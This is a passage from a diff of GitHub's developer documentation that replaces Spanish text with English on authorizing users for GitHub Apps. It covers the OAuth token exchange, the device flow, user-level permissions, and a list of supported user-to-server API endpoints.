debe anular el proceso. +If the user accepts your request, GitHub redirects back to your site with a temporary `code` in a code parameter as well as the state you provided in the previous step in a `state` parameter. If the states don't match, the request was created by a third party and the process should be aborted. {% note %} -**Nota:** Si seleccionas **Solicitar la autorización del usuario (OAuth) durante la instalación ** cuando creas o modificas tu app, GitHub regreará un `code` temporal que necesitarás intercambiar por un token de acceso. El parámetro `state` no se regresa cuando GitHub inicia el flujo de OAuth durante la instalación de la app. +**Note:** If you select **Request user authorization (OAuth) during installation** when creating or modifying your app, GitHub returns a temporary `code` that you will need to exchange for an access token. The `state` parameter is not returned when GitHub initiates the OAuth flow during app installation. {% endnote %} -Intercambia este `code` por un token de acceso. Cuando se habilita el vencimiento de tokens, el token de acceso vence en 8 horas y el token de actualización en 6 meses. Cada que actualizas el token, obtienes un nuevo token de actualización. Para obtener más información, consulta la sección "[Actualizar los tokens de acceso de usuario a servidor](/developers/apps/refreshing-user-to-server-access-tokens)". +Exchange this `code` for an access token. When expiring tokens are enabled, the access token expires in 8 hours and the refresh token expires in 6 months. Every time you refresh the token, you get a new refresh token. For more information, see "[Refreshing user-to-server access tokens](/developers/apps/refreshing-user-to-server-access-tokens)." -Los tokens de usuario con vigencia determinada son una característica opcional actualmente y están sujetos a cambios. Para decidir unirse a la característica de vigencia determinada de los tokens de usuario a servidor, consulta la sección "[Activar las características opcionales para las apps](/developers/apps/activating-optional-features-for-apps)". +Expiring user tokens are currently an optional feature and subject to change. To opt-in to the user-to-server token expiration feature, see "[Activating optional features for apps](/developers/apps/activating-optional-features-for-apps)." -Haz una solicitud a la siguiente terminal para recibir un token de acceso: +Make a request to the following endpoint to receive an access token: POST {% data variables.product.oauth_host_code %}/login/oauth/access_token -#### Parámetros +#### Parameters -| Nombre | Type | Descripción | -| --------------- | ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `client_id` | `secuencia` | **Requerido.** La ID de cliente para tu GitHub App. | -| `client_secret` | `secuencia` | **Requerido.** El secreto de cliente para tu GitHub App. | -| `código` | `secuencia` | **Requerido.** El código que recibiste como respuesta al Paso 1. | -| `redirect_uri` | `secuencia` | La URL en tu aplicación a donde se enviará a los usuarios después de la autorización. Esta debe ser una copia exacta de {% ifversion fpt or ghes > 3.0 or ghec %} una de las URL que proporcionaste como **URL de rellamado** {% else %} la URL que proporcionaste en el campo **URL de rellamado de autorización de usuario** {% endif %} cuando configuraste tu GitHub App y no puede contener ningún parámetro adicional. | -| `state` | `secuencia` | La secuencia aleatoria indescifrable que proporcionaste en el Paso 1. | +Name | Type | Description +-----|------|------------ +`client_id` | `string` | **Required.** The client ID for your GitHub App. +`client_secret` | `string` | **Required.** The client secret for your GitHub App. +`code` | `string` | **Required.** The code you received as a response to Step 1. +`redirect_uri` | `string` | The URL in your application where users will be sent after authorization. This must be an exact match to {% ifversion fpt or ghes > 3.0 or ghec %} one of the URLs you provided as a **Callback URL** {% else %} the URL you provided in the **User authorization callback URL** field{% endif %} when setting up your GitHub App and can't contain any additional parameters. +`state` | `string` | The unguessable random string you provided in Step 1. -#### Respuesta +#### Response -Predeterminadamente, la respuesta toma la siguiente forma. Los parámetros de respuesta `expires_in`, `refresh_token`, y `refresh_token_expires_in` solo se devuelven cuando habilitas la vigencia determinada para los tokens de acceso de usuario a servidor. +By default, the response takes the following form. The response parameters `expires_in`, `refresh_token`, and `refresh_token_expires_in` are only returned when you enable expiring user-to-server access tokens. ```json { @@ -108,14 +107,14 @@ Predeterminadamente, la respuesta toma la siguiente forma. Los parámetros de re } ``` -### 3. Tu GitHub App accede a la API con el token de acceso del usuario +### 3. Your GitHub App accesses the API with the user's access token -El token de acceso del usuario permite que la GitHub App haga solicitudes a la API a nombre del usuario. +The user's access token allows the GitHub App to make requests to the API on behalf of a user. Authorization: token OAUTH-TOKEN GET {% data variables.product.api_url_code %}/user -Por ejemplo, en curl, puedes configurar el encabezado de autorización de la siguiente manera: +For example, in curl you can set the Authorization header like this: ```shell curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/user @@ -123,812 +122,812 @@ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre {% ifversion fpt or ghae or ghes > 3.0 or ghec %} -## Flujo de dispositivos +## Device flow {% note %} -**Nota:** El flujo de dispositivos se encuentra en un beta público y está sujeto a cambios. +**Note:** The device flow is in public beta and subject to change. {% endnote %} -Este flujo de dispositivos te permite autorizar usuarios para una app sin encabezado, tal como una herramienta de CLI o un administrador de credenciales de Git. +The device flow allows you to authorize users for a headless app, such as a CLI tool or Git credential manager. -Para obtener más información acerca de autorizar a usuarios utilizando el flujo de dispositivos, consulta la sección "[Autorizar Apps de OAuth](/developers/apps/authorizing-oauth-apps#device-flow)". +For more information about authorizing users using the device flow, see "[Authorizing OAuth Apps](/developers/apps/authorizing-oauth-apps#device-flow)". {% endif %} -## Revisar a qué recursos de instalación puede acceder un usuario +## Check which installation's resources a user can access -Ya que tengas un token de OAuth para un usuario, puedes revisar a qué instalaciones puede acceder. +Once you have an OAuth token for a user, you can check which installations that user can access. Authorization: token OAUTH-TOKEN GET /user/installations -También puedes verificar qué repositorios se encuentran accesibles para un usuario para una instalación. +You can also check which repositories are accessible to a user for an installation. Authorization: token OAUTH-TOKEN GET /user/installations/:installation_id/repositories -Puedes encontrar más detalles en: [Listar instalaciones de app accesibles para el token de acceso del usuario](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token) y [Listar repositorios accesibles para el token de acceso del usuario](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token). +More details can be found in: [List app installations accessible to the user access token](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token) and [List repositories accessible to the user access token](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token). -## Gestionar una autorización revocada a una GitHub App +## Handling a revoked GitHub App authorization -Si un usuario revoca su autorización de una GitHub App, dicha app recibirá el webhook [`github_app_authorization`](/webhooks/event-payloads/#github_app_authorization) predeterminadamente. Las GitHub Apps no pueden desuscribirse de este evento. {% data reusables.webhooks.authorization_event %} +If a user revokes their authorization of a GitHub App, the app will receive the [`github_app_authorization`](/webhooks/event-payloads/#github_app_authorization) webhook by default. GitHub Apps cannot unsubscribe from this event. {% data reusables.webhooks.authorization_event %} -## Permisos a nivel de usuario +## User-level permissions -Puedes agregar permisos a nivel de usuario a tu GitHub App para acceder a los recursos del usuario, tales como correos electrónicos del usuario, los cuales otorgan los usuarios independientes como parte del [flujo de autorización del usuario](#identifying-users-on-your-site). Los permisos a nivel de usuario difieren de los [permisos a nivel de organización y de repositorio](/rest/reference/permissions-required-for-github-apps), los cuales se otorgan en el momento de la instalación en una cuenta de usuario o de organización. +You can add user-level permissions to your GitHub App to access user resources, such as user emails, that are granted by individual users as part of the [user authorization flow](#identifying-users-on-your-site). User-level permissions differ from [repository and organization-level permissions](/rest/reference/permissions-required-for-github-apps), which are granted at the time of installation on an organization or user account. -Puedes seleccionar los permisos a nivel de usuario desde dentro de la configuración de tu GitHub App en la sección de **Permisos de usuario** de la página de **Permisos & webhooks**. Para obtener más información sobre seleccionar permisos, consulta la sección [Editar los permisos de una GitHub App](/apps/managing-github-apps/editing-a-github-app-s-permissions/)". +You can select user-level permissions from within your GitHub App's settings in the **User permissions** section of the **Permissions & webhooks** page. For more information on selecting permissions, see "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)." -Cuando un usuario instala tu app en su cuenta, el aviso de instalación listará los permisos a nivel de usuario que tu app está solicitando y explicará que la app puede pedir estos permisos a los usuarios independientes. +When a user installs your app on their account, the installation prompt will list the user-level permissions your app is requesting and explain that the app can ask individual users for these permissions. -Ya que los permisos a nivel de usuario se otorgan individualmente, puedes agregarlos a tu app existente sin solicitar que los usuarios los mejoren. Sin embargo, necesitarás enviar usuarios existentes a través del flujo de autorización de usuarios para autorizar los permisos nuevos y obtener un token nuevo de usuario a servidor para estas solicitudes. +Because user-level permissions are granted on an individual user basis, you can add them to your existing app without prompting users to upgrade. You will, however, need to send existing users through the user authorization flow to authorize the new permission and get a new user-to-server token for these requests. -## Solicitudes de usuario a servidor +## User-to-server requests -Mientras que la mayoría de tu interacción con la API deberá darse utilizando tus tokens de acceso a la instalación de servidor a servidor, ciertas terminales te permiten llevar a cabo acciones a través de la API utilizando un token de acceso. Your app can make the following requests using [GraphQL v4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) or [REST v3](/rest) endpoints. +While most of your API interaction should occur using your server-to-server installation access tokens, certain endpoints allow you to perform actions via the API using a user access token. Your app can make the following requests using [GraphQL v4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) or [REST v3](/rest) endpoints. -### Terminales compatibles +### Supported endpoints {% ifversion fpt or ghec %} -#### Ejecutores de Acciones +#### Actions Runners -* [Listar aplicaciones de ejecutores para un repositorio](/rest/reference/actions#list-runner-applications-for-a-repository) -* [Listar ejecutores auto-hospedados para un repositorio](/rest/reference/actions#list-self-hosted-runners-for-a-repository) -* [Obtener un ejecutor auto-hospedado para un repositorio](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository) -* [Borrar un ejecutor auto-hospedado de un repositorio](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository) -* [Crear un token de registro para un repositorio](/rest/reference/actions#create-a-registration-token-for-a-repository) -* [Crear un token de eliminación para un repositorio](/rest/reference/actions#create-a-remove-token-for-a-repository) -* [Listar aplicaciones de ejecutores para una organización](/rest/reference/actions#list-runner-applications-for-an-organization) -* [Listar ejecutores auto-hospedados para una organización](/rest/reference/actions#list-self-hosted-runners-for-an-organization) -* [Obtener ejecutores auto-hospedados para una organización](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization) -* [Borrar un ejecutor auto-hospedado de una organización](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization) -* [Crear un token de registro para una organización](/rest/reference/actions#create-a-registration-token-for-an-organization) -* [Crear un token de eliminación para una organización](/rest/reference/actions#create-a-remove-token-for-an-organization) +* [List runner applications for a repository](/rest/reference/actions#list-runner-applications-for-a-repository) +* [List self-hosted runners for a repository](/rest/reference/actions#list-self-hosted-runners-for-a-repository) +* [Get a self-hosted runner for a repository](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository) +* [Delete a self-hosted runner from a repository](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository) +* [Create a registration token for a repository](/rest/reference/actions#create-a-registration-token-for-a-repository) +* [Create a remove token for a repository](/rest/reference/actions#create-a-remove-token-for-a-repository) +* [List runner applications for an organization](/rest/reference/actions#list-runner-applications-for-an-organization) +* [List self-hosted runners for an organization](/rest/reference/actions#list-self-hosted-runners-for-an-organization) +* [Get a self-hosted runner for an organization](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization) +* [Delete a self-hosted runner from an organization](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization) +* [Create a registration token for an organization](/rest/reference/actions#create-a-registration-token-for-an-organization) +* [Create a remove token for an organization](/rest/reference/actions#create-a-remove-token-for-an-organization) -#### Secretos de las Acciones +#### Actions Secrets -* [Obtener la llave pública de un repositorio](/rest/reference/actions#get-a-repository-public-key) -* [Listar los secretos del repositorio](/rest/reference/actions#list-repository-secrets) -* [Obtener el secreto de un repositorio](/rest/reference/actions#get-a-repository-secret) -* [Crear o actualizar el secreto de un repositorio](/rest/reference/actions#create-or-update-a-repository-secret) -* [Borrar el secreto de un repositorio](/rest/reference/actions#delete-a-repository-secret) -* [Obtener la llave pública de una organización](/rest/reference/actions#get-an-organization-public-key) -* [Listar los secretos de la organización](/rest/reference/actions#list-organization-secrets) -* [Obtener el secreto de una organización](/rest/reference/actions#get-an-organization-secret) -* [Crear o actualizar el secreto de una organización](/rest/reference/actions#create-or-update-an-organization-secret) -* [Listar los repositorios seleccionados para el secreto de una organización](/rest/reference/actions#list-selected-repositories-for-an-organization-secret) -* [Configurar los repositorios seleccionados para el secreto de una organización](/rest/reference/actions#set-selected-repositories-for-an-organization-secret) -* [Agregar el repositorio seleccionado al secreto de una organización](/rest/reference/actions#add-selected-repository-to-an-organization-secret) -* [Eliminar el repositorio seleccionado del secreto de una organización](/rest/reference/actions#remove-selected-repository-from-an-organization-secret) -* [Borrar el secreto de una organización](/rest/reference/actions#delete-an-organization-secret) +* [Get a repository public key](/rest/reference/actions#get-a-repository-public-key) +* [List repository secrets](/rest/reference/actions#list-repository-secrets) +* [Get a repository secret](/rest/reference/actions#get-a-repository-secret) +* [Create or update a repository secret](/rest/reference/actions#create-or-update-a-repository-secret) +* [Delete a repository secret](/rest/reference/actions#delete-a-repository-secret) +* [Get an organization public key](/rest/reference/actions#get-an-organization-public-key) +* [List organization secrets](/rest/reference/actions#list-organization-secrets) +* [Get an organization secret](/rest/reference/actions#get-an-organization-secret) +* [Create or update an organization secret](/rest/reference/actions#create-or-update-an-organization-secret) +* [List selected repositories for an organization secret](/rest/reference/actions#list-selected-repositories-for-an-organization-secret) +* [Set selected repositories for an organization secret](/rest/reference/actions#set-selected-repositories-for-an-organization-secret) +* [Add selected repository to an organization secret](/rest/reference/actions#add-selected-repository-to-an-organization-secret) +* [Remove selected repository from an organization secret](/rest/reference/actions#remove-selected-repository-from-an-organization-secret) +* [Delete an organization secret](/rest/reference/actions#delete-an-organization-secret) {% endif %} {% ifversion fpt or ghec %} -#### Artefactos +#### Artifacts -* [Listar artefactos para un repositorio](/rest/reference/actions#delete-an-organization-secret) -* [Listar artefactos de ejecución de flujo de trabajo](/rest/reference/actions#list-workflow-run-artifacts) -* [Obtener un artefacto](/rest/reference/actions#get-an-artifact) -* [Borrar un artefacto](/rest/reference/actions#delete-an-artifact) -* [Descargar un artefacto](/rest/reference/actions#download-an-artifact) +* [List artifacts for a repository](/rest/reference/actions#list-artifacts-for-a-repository) +* [List workflow run artifacts](/rest/reference/actions#list-workflow-run-artifacts) +* [Get an artifact](/rest/reference/actions#get-an-artifact) +* [Delete an artifact](/rest/reference/actions#delete-an-artifact) +* [Download an artifact](/rest/reference/actions#download-an-artifact) {% endif %} -#### Ejecuciones de Verificación +#### Check Runs -* [Crear una ejecución de verificación](/rest/reference/checks#create-a-check-run) -* [Obtener una ejecución de verificación](/rest/reference/checks#get-a-check-run) -* [Actualizar una ejecución de verificación](/rest/reference/checks#update-a-check-run) -* [Listar las anotaciones de una ejecución de verificación](/rest/reference/checks#list-check-run-annotations) -* [Listar las ejecuciones de verificación en un conjunto de verificaciones](/rest/reference/checks#list-check-runs-in-a-check-suite) -* [Listar las ejecuciones de verificación para una referencia de Git](/rest/reference/checks#list-check-runs-for-a-git-reference) +* [Create a check run](/rest/reference/checks#create-a-check-run) +* [Get a check run](/rest/reference/checks#get-a-check-run) +* [Update a check run](/rest/reference/checks#update-a-check-run) +* [List check run annotations](/rest/reference/checks#list-check-run-annotations) +* [List check runs in a check suite](/rest/reference/checks#list-check-runs-in-a-check-suite) +* [List check runs for a Git reference](/rest/reference/checks#list-check-runs-for-a-git-reference) -#### Conjuntos de Verificaciones +#### Check Suites -* [Crear un conjunto de verificaciones](/rest/reference/checks#create-a-check-suite) -* [Obtener un conjunto de verificaciones](/rest/reference/checks#get-a-check-suite) -* [Solicitar un conjunto de verificaciones](/rest/reference/checks#rerequest-a-check-suite) -* [Actualizar las preferencias del repositorio para los conjuntos de verificaciones](/rest/reference/checks#update-repository-preferences-for-check-suites) -* [Listar conjuntos de verificaciones para una referencia de Git](/rest/reference/checks#list-check-suites-for-a-git-reference) +* [Create a check suite](/rest/reference/checks#create-a-check-suite) +* [Get a check suite](/rest/reference/checks#get-a-check-suite) +* [Rerequest a check suite](/rest/reference/checks#rerequest-a-check-suite) +* [Update repository preferences for check suites](/rest/reference/checks#update-repository-preferences-for-check-suites) +* [List check suites for a Git reference](/rest/reference/checks#list-check-suites-for-a-git-reference) -#### Códigos de Conducta +#### Codes Of Conduct -* [Obtener todos los códigos de conducta](/rest/reference/codes-of-conduct#get-all-codes-of-conduct) -* [Obtener un código de conducta específico](/rest/reference/codes-of-conduct#get-a-code-of-conduct) +* [Get all codes of conduct](/rest/reference/codes-of-conduct#get-all-codes-of-conduct) +* [Get a code of conduct](/rest/reference/codes-of-conduct#get-a-code-of-conduct) -#### Estados de Despliegue +#### Deployment Statuses -* [Listar los estados de despliegue](/rest/reference/repos#list-deployment-statuses) -* [Crear los estados de despliegue](/rest/reference/repos#create-a-deployment-status) -* [Obtener un estado de despliegue](/rest/reference/repos#get-a-deployment-status) +* [List deployment statuses](/rest/reference/repos#list-deployment-statuses) +* [Create a deployment status](/rest/reference/repos#create-a-deployment-status) +* [Get a deployment status](/rest/reference/repos#get-a-deployment-status) -#### Implementaciones +#### Deployments -* [Listar los despliegues](/rest/reference/repos#list-deployments) -* [Crear un despliegue](/rest/reference/repos#create-a-deployment) +* [List deployments](/rest/reference/repos#list-deployments) +* [Create a deployment](/rest/reference/repos#create-a-deployment) * [Get a deployment](/rest/reference/repos#get-a-deployment){% ifversion fpt or ghes or ghae or ghec %} -* [Borrar un despliegue](/rest/reference/repos#delete-a-deployment){% endif %} +* [Delete a deployment](/rest/reference/repos#delete-a-deployment){% endif %} -#### Eventos +#### Events -* [Listar eventos públicos para una red de repositorios](/rest/reference/activity#list-public-events-for-a-network-of-repositories) -* [Listar eventos de organizaciones públicas](/rest/reference/activity#list-public-organization-events) +* [List public events for a network of repositories](/rest/reference/activity#list-public-events-for-a-network-of-repositories) +* [List public organization events](/rest/reference/activity#list-public-organization-events) -#### Fuentes +#### Feeds -* [Obtener fuentes](/rest/reference/activity#get-feeds) +* [Get feeds](/rest/reference/activity#get-feeds) -#### Blobs de Git +#### Git Blobs -* [Crear un blob](/rest/reference/git#create-a-blob) -* [Obtener un blob](/rest/reference/git#get-a-blob) +* [Create a blob](/rest/reference/git#create-a-blob) +* [Get a blob](/rest/reference/git#get-a-blob) -#### Confirmaciones de Git +#### Git Commits -* [Crear una confirmación](/rest/reference/git#create-a-commit) -* [Obtener una confirmación](/rest/reference/git#get-a-commit) +* [Create a commit](/rest/reference/git#create-a-commit) +* [Get a commit](/rest/reference/git#get-a-commit) -#### Referencias de Git +#### Git Refs -* [Crea una referencia](/rest/reference/git#create-a-reference)* [Obtén una referencia](/rest/reference/git#get-a-reference) -* [Lista las referencias coincidentes](/rest/reference/git#list-matching-references) -* [Actualizar una referencia](/rest/reference/git#update-a-reference) -* [Borrar una referencia](/rest/reference/git#delete-a-reference) +* [Create a reference](/rest/reference/git#create-a-reference)* [Get a reference](/rest/reference/git#get-a-reference) +* [List matching references](/rest/reference/git#list-matching-references) +* [Update a reference](/rest/reference/git#update-a-reference) +* [Delete a reference](/rest/reference/git#delete-a-reference) -#### Matrículas de Git +#### Git Tags -* [Crear un objeto de matrícula](/rest/reference/git#create-a-tag-object) -* [Obtener una matrícula](/rest/reference/git#get-a-tag) +* [Create a tag object](/rest/reference/git#create-a-tag-object) +* [Get a tag](/rest/reference/git#get-a-tag) -#### Árboles de Git +#### Git Trees -* [Crear un árbol](/rest/reference/git#create-a-tree) -* [Obtener un árbol](/rest/reference/git#get-a-tree) +* [Create a tree](/rest/reference/git#create-a-tree) +* [Get a tree](/rest/reference/git#get-a-tree) -#### Plantillas de Gitignore +#### Gitignore Templates -* [Obtener todas las plantillas de gitignore](/rest/reference/gitignore#get-all-gitignore-templates) -* [Obtener una plantilla específica de gitignore](/rest/reference/gitignore#get-a-gitignore-template) +* [Get all gitignore templates](/rest/reference/gitignore#get-all-gitignore-templates) +* [Get a gitignore template](/rest/reference/gitignore#get-a-gitignore-template) -#### Instalaciones +#### Installations -* [Listar repositorios accesibles para el token de acceso del usuario](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token) +* [List repositories accessible to the user access token](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token) {% ifversion fpt or ghec %} -#### Límites de interacción +#### Interaction Limits -* [Obtener restricciones de interacción para una organización](/rest/reference/interactions#get-interaction-restrictions-for-an-organization) -* [Configurar restricciones de interacción para una organización](/rest/reference/interactions#set-interaction-restrictions-for-an-organization) -* [Eliminar restricciones de interacción para una organización](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) -* [Obtener restricciones de interacción para un repositorio](/rest/reference/interactions#get-interaction-restrictions-for-a-repository) -* [Configurar restricciones de interacción para un repositorio](/rest/reference/interactions#set-interaction-restrictions-for-a-repository) -* [Eliminar restricciones de interacción para un repositorio](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository) +* [Get interaction restrictions for an organization](/rest/reference/interactions#get-interaction-restrictions-for-an-organization) +* [Set interaction restrictions for an organization](/rest/reference/interactions#set-interaction-restrictions-for-an-organization) +* [Remove interaction restrictions for an organization](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) +* [Get interaction restrictions for a repository](/rest/reference/interactions#get-interaction-restrictions-for-a-repository) +* [Set interaction restrictions for a repository](/rest/reference/interactions#set-interaction-restrictions-for-a-repository) +* [Remove interaction restrictions for a repository](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository) {% endif %} -#### Asignados de Informes de Problemas +#### Issue Assignees -* [Agregar asignados a un informe de problemas](/rest/reference/issues#add-assignees-to-an-issue) -* [Eliminar asignados de un informe de problemas](/rest/reference/issues#remove-assignees-from-an-issue) +* [Add assignees to an issue](/rest/reference/issues#add-assignees-to-an-issue) +* [Remove assignees from an issue](/rest/reference/issues#remove-assignees-from-an-issue) -#### Comentarios de Informes de Problemas +#### Issue Comments -* [Listar comentarios del informe de problemas](/rest/reference/issues#list-issue-comments) -* [Crear un comentario del informe de problemas](/rest/reference/issues#create-an-issue-comment) -* [Listar cometnarios del informe de problemas para un repositorio](/rest/reference/issues#list-issue-comments-for-a-repository) -* [Obtener un comentario de un informe de problemas](/rest/reference/issues#get-an-issue-comment) -* [Actualizar un comentario de un informe de problemas](/rest/reference/issues#update-an-issue-comment) -* [Borrar un comentario de un informe de problemas](/rest/reference/issues#delete-an-issue-comment) +* [List issue comments](/rest/reference/issues#list-issue-comments) +* [Create an issue comment](/rest/reference/issues#create-an-issue-comment) +* [List issue comments for a repository](/rest/reference/issues#list-issue-comments-for-a-repository) +* [Get an issue comment](/rest/reference/issues#get-an-issue-comment) +* [Update an issue comment](/rest/reference/issues#update-an-issue-comment) +* [Delete an issue comment](/rest/reference/issues#delete-an-issue-comment) -#### Eventos de Informe de Problemas +#### Issue Events -* [Listar eventos del informe de problemas](/rest/reference/issues#list-issue-events) +* [List issue events](/rest/reference/issues#list-issue-events) -#### Línea de tiempo del Informe de Problemas +#### Issue Timeline -* [Listar eventos de la línea de tiempo para un informe de problemas](/rest/reference/issues#list-timeline-events-for-an-issue) +* [List timeline events for an issue](/rest/reference/issues#list-timeline-events-for-an-issue) -#### Problemas +#### Issues -* [Listar informes de problemas asignados al usuario autenticado](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user) -* [Listar asignados](/rest/reference/issues#list-assignees) -* [Revisar si se puede asignar un usuario](/rest/reference/issues#check-if-a-user-can-be-assigned) -* [Listar informes de problemas del repositorio](/rest/reference/issues#list-repository-issues) -* [Crear un informe de problemas](/rest/reference/issues#create-an-issue) -* [Obtener un informe de problemas](/rest/reference/issues#get-an-issue) -* [Actualizar un informe de problemas](/rest/reference/issues#update-an-issue) -* [Bloquear un informe de problemas](/rest/reference/issues#lock-an-issue) -* [Desbloquear un informe de problemas](/rest/reference/issues#unlock-an-issue) +* [List issues assigned to the authenticated user](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user) +* [List assignees](/rest/reference/issues#list-assignees) +* [Check if a user can be assigned](/rest/reference/issues#check-if-a-user-can-be-assigned) +* [List repository issues](/rest/reference/issues#list-repository-issues) +* [Create an issue](/rest/reference/issues#create-an-issue) +* [Get an issue](/rest/reference/issues#get-an-issue) +* [Update an issue](/rest/reference/issues#update-an-issue) +* [Lock an issue](/rest/reference/issues#lock-an-issue) +* [Unlock an issue](/rest/reference/issues#unlock-an-issue) {% ifversion fpt or ghec %} #### Jobs -* [Obener un job para una ejecución de flujo de trabajo](/rest/reference/actions#get-a-job-for-a-workflow-run) -* [Descargar bitácoras del job para una ejecución de flujode trabajo](/rest/reference/actions#download-job-logs-for-a-workflow-run) -* [Listar jobs para una ejecución de flujo de trabajo](/rest/reference/actions#list-jobs-for-a-workflow-run) +* [Get a job for a workflow run](/rest/reference/actions#get-a-job-for-a-workflow-run) +* [Download job logs for a workflow run](/rest/reference/actions#download-job-logs-for-a-workflow-run) +* [List jobs for a workflow run](/rest/reference/actions#list-jobs-for-a-workflow-run) {% endif %} -#### Etiquetas +#### Labels -* [Listar las etiquetas para un informe de problemas](/rest/reference/issues#list-labels-for-an-issue) -* [Agregar etiquetas a un informe de problemas](/rest/reference/issues#add-labels-to-an-issue) -* [Configurar eitquetas para un informe de problemas](/rest/reference/issues#set-labels-for-an-issue) -* [Eliminar todas las etiquetas de un informe de problemas](/rest/reference/issues#remove-all-labels-from-an-issue) -* [Eliminar una etiqueta de un informe de problemas](/rest/reference/issues#remove-a-label-from-an-issue) -* [Listar etiquetas para un repositorio](/rest/reference/issues#list-labels-for-a-repository) -* [Crear una etiqueta](/rest/reference/issues#create-a-label) -* [Obtener una etiqueta](/rest/reference/issues#get-a-label) -* [Actualizar una etiqueta](/rest/reference/issues#update-a-label) -* [Borrar una etiqueta](/rest/reference/issues#delete-a-label) -* [Obtener etiquetas para cada informe de problemas en un hito](/rest/reference/issues#list-labels-for-issues-in-a-milestone) +* [List labels for an issue](/rest/reference/issues#list-labels-for-an-issue) +* [Add labels to an issue](/rest/reference/issues#add-labels-to-an-issue) +* [Set labels for an issue](/rest/reference/issues#set-labels-for-an-issue) +* [Remove all labels from an issue](/rest/reference/issues#remove-all-labels-from-an-issue) +* [Remove a label from an issue](/rest/reference/issues#remove-a-label-from-an-issue) +* [List labels for a repository](/rest/reference/issues#list-labels-for-a-repository) +* [Create a label](/rest/reference/issues#create-a-label) +* [Get a label](/rest/reference/issues#get-a-label) +* [Update a label](/rest/reference/issues#update-a-label) +* [Delete a label](/rest/reference/issues#delete-a-label) +* [Get labels for every issue in a milestone](/rest/reference/issues#list-labels-for-issues-in-a-milestone) -#### Licencias +#### Licenses -* [Obtener todas las licencias que se utilizan habitualmente](/rest/reference/licenses#get-all-commonly-used-licenses) -* [Obtener una licencia](/rest/reference/licenses#get-a-license) +* [Get all commonly used licenses](/rest/reference/licenses#get-all-commonly-used-licenses) +* [Get a license](/rest/reference/licenses#get-a-license) #### Markdown -* [Generar un documento de Markdown](/rest/reference/markdown#render-a-markdown-document) -* [Generar un documento de markdwon en modo raw](/rest/reference/markdown#render-a-markdown-document-in-raw-mode) +* [Render a Markdown document](/rest/reference/markdown#render-a-markdown-document) +* [Render a markdown document in raw mode](/rest/reference/markdown#render-a-markdown-document-in-raw-mode) #### Meta * [Meta](/rest/reference/meta#meta) -#### Hitos +#### Milestones -* [Listar hitos](/rest/reference/issues#list-milestones) -* [Crear un hito](/rest/reference/issues#create-a-milestone) -* [Obtener un hito](/rest/reference/issues#get-a-milestone) -* [Actualizar un hito](/rest/reference/issues#update-a-milestone) -* [Borrar un hito](/rest/reference/issues#delete-a-milestone) +* [List milestones](/rest/reference/issues#list-milestones) +* [Create a milestone](/rest/reference/issues#create-a-milestone) +* [Get a milestone](/rest/reference/issues#get-a-milestone) +* [Update a milestone](/rest/reference/issues#update-a-milestone) +* [Delete a milestone](/rest/reference/issues#delete-a-milestone) -#### Ganchos de organización +#### Organization Hooks -* [Listar los webhooks de la organización](/rest/reference/orgs#webhooks/#list-organization-webhooks) -* [Crear un webhook para una organización](/rest/reference/orgs#webhooks/#create-an-organization-webhook) -* [Obtener un webhook de una organización](/rest/reference/orgs#webhooks/#get-an-organization-webhook) -* [Actualizar el webhook de una organización](/rest/reference/orgs#webhooks/#update-an-organization-webhook) -* [Borrar el webhook de una organización](/rest/reference/orgs#webhooks/#delete-an-organization-webhook) -* [Hacer ping al webhook de una organización](/rest/reference/orgs#webhooks/#ping-an-organization-webhook) +* [List organization webhooks](/rest/reference/orgs#webhooks/#list-organization-webhooks) +* [Create an organization webhook](/rest/reference/orgs#webhooks/#create-an-organization-webhook) +* [Get an organization webhook](/rest/reference/orgs#webhooks/#get-an-organization-webhook) +* [Update an organization webhook](/rest/reference/orgs#webhooks/#update-an-organization-webhook) +* [Delete an organization webhook](/rest/reference/orgs#webhooks/#delete-an-organization-webhook) +* [Ping an organization webhook](/rest/reference/orgs#webhooks/#ping-an-organization-webhook) {% ifversion fpt or ghec %} -#### Invitaciones a las Organizaciones +#### Organization Invitations -* [Listar las invitaciones pendientes a una organización](/rest/reference/orgs#list-pending-organization-invitations) -* [Crear una invitación a una organización](/rest/reference/orgs#create-an-organization-invitation) -* [Listar los equipos de invitación a una organización](/rest/reference/orgs#list-organization-invitation-teams) +* [List pending organization invitations](/rest/reference/orgs#list-pending-organization-invitations) +* [Create an organization invitation](/rest/reference/orgs#create-an-organization-invitation) +* [List organization invitation teams](/rest/reference/orgs#list-organization-invitation-teams) {% endif %} -#### Miembros de la Organización +#### Organization Members -* [Listar a los miembros de la organización](/rest/reference/orgs#list-organization-members) -* [Verificar la membrecía de organización de un usuario](/rest/reference/orgs#check-organization-membership-for-a-user) -* [Eliminar a un miembro de una organización](/rest/reference/orgs#remove-an-organization-member) -* [Obtener la membrecía de organización para un usuario](/rest/reference/orgs#get-organization-membership-for-a-user) -* [Configurar una mebrecía de organización para un usuario](/rest/reference/orgs#set-organization-membership-for-a-user) -* [Eliminar la membrecía de organización de un usuario](/rest/reference/orgs#remove-organization-membership-for-a-user) -* [Listar los miembros de una organización pública](/rest/reference/orgs#list-public-organization-members) -* [Verificar la membrecía de una 